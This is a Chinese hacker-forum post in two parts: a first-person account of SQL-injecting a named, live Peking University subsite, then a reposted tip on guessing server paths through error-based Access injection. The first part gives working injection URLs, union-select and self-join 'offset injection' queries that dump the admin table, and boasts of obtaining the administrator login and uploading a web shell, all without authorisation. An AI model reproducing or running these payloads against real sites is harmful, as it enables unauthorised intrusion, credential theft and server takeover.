Access偏移注入检测北大分站
/*作者:莫良 来自黑帽安全技术论坛 转载注明原创*/
0x00
大清早朋友丢来一站要我看,反正蛋疼厉害,就帮帮他呗。一看,哇靠北大分站,上跳板,我们来给他安全检测一番.具体没什么技术含量,高手飘过。
0x01
简单在首页试了几个可能存在注入的链接都失败了,扫扫目录也扫不出个什么东西。就随便进去看看呗,进了一个什么莫斯科大学和北大的联合分院,莫名其妙的来一了一股意念,我觉得这里有搞头,点了一个链接and 1=1;and 1=2,鉴定完毕,存在注入。丢进明小子里看看,发现了通常都会遇见的问题,他字段有点个性,我猜不出来。
猜不出来怎么办呢,那我就手注吧。先用order by来检测字段数。当order by 10的时候返回错误
order by 9返回正常,说明有9个字段。如下图
测试一下union可以不可以使用,我们提交如下语句来测试一下。
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,4,5,6,7,8,9 from admin
返回如下
看来可以用union联合查询了。我们接下来看看admin有几个字段。提交如下语句
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,* from admin
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,* from admin
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,* from admin
依次类推,当我提交到union select 1,2,3,4,5,6,* from admin返回正常,说明admin的字段为9-6=3,有3个字段。
0x02
既然知道了admin表字段数,我们来考虑怎么来爆内容呢。这里就是重头戏,我们用偏移表自联来爆吧。
比如有一个表A结构如下
id name pass 字段
1 abc 123
2 efg 456
3 hij 789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1 abc 123 1 abc 123
2 efg 456 2 efg 456
3 hij 789 3 hij 789
通过上面的分析,我们可以自联admin表,admin表是3个字段,自联后也就是2*3=6个字段,然后我们在随便加3个字段凑数就变成了9个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
union select 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)
爆出了密码?呵呵,我们去挂wwwscan扫扫这个目录的后台,成功发现了后台。再提交
http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,username,3,4,5,6,7,8,9 from admin
爆出了管理员账号,如下图
0x03
到这里就差不多了,我登入后台上传了一个shell,具体就不多说了,这里主要讲了关于ACCESS偏移注入的一点东西,其实ACCESS注入的利用空间也是很大的,当知道足够信息以后可以做很多事情。
ACCESS数据库手工注入备忘
猜绝对路径? 哥用access 注入点
看了 http://www.t00ls.net/thread-4933-1-1.html 这个文章之后。
其实没必要他那么麻烦。
只要是在条件允许下。 其实不需要这么麻烦的。 这里我分享另一个办法。(类似access跨库查询。)
我们只要在旁站中、找到一个 显错模式的 access的注入点就OK了。
如上图就是暴错模式的 access的注入点。
现在我们随便找了个 access的注如点:
http://****.net/en/ShowNews.asp?id=12
http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+admin
当我们在后面加个 .c 看看
http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+admin.c
关键就是这里的错误提示。
找不到文件 'c:\windows\system32\inetsrv\admin.mdb'。
提示找不到文件。 那么也就是说。这个目录 c:\windows\system32\inetsrv\ 是存在的。
那么我们继续。
http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+c:\admin.c
注意下。 找不到文件 'c:\admin.mdb'。 也就是说 。 c:\盘是存在的。
好了。现在我们继续。
http://****.net/en/ShowNews.asp?id=-12+union+select+*+from+c:\ajsdhakjhwkjdh\admin.c
注意现在的错误。
'c:\ajsdhakjhwkjdh\admin.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
那么。 我们可以通过这个来猜 。 目标站的路径
来源:t00ls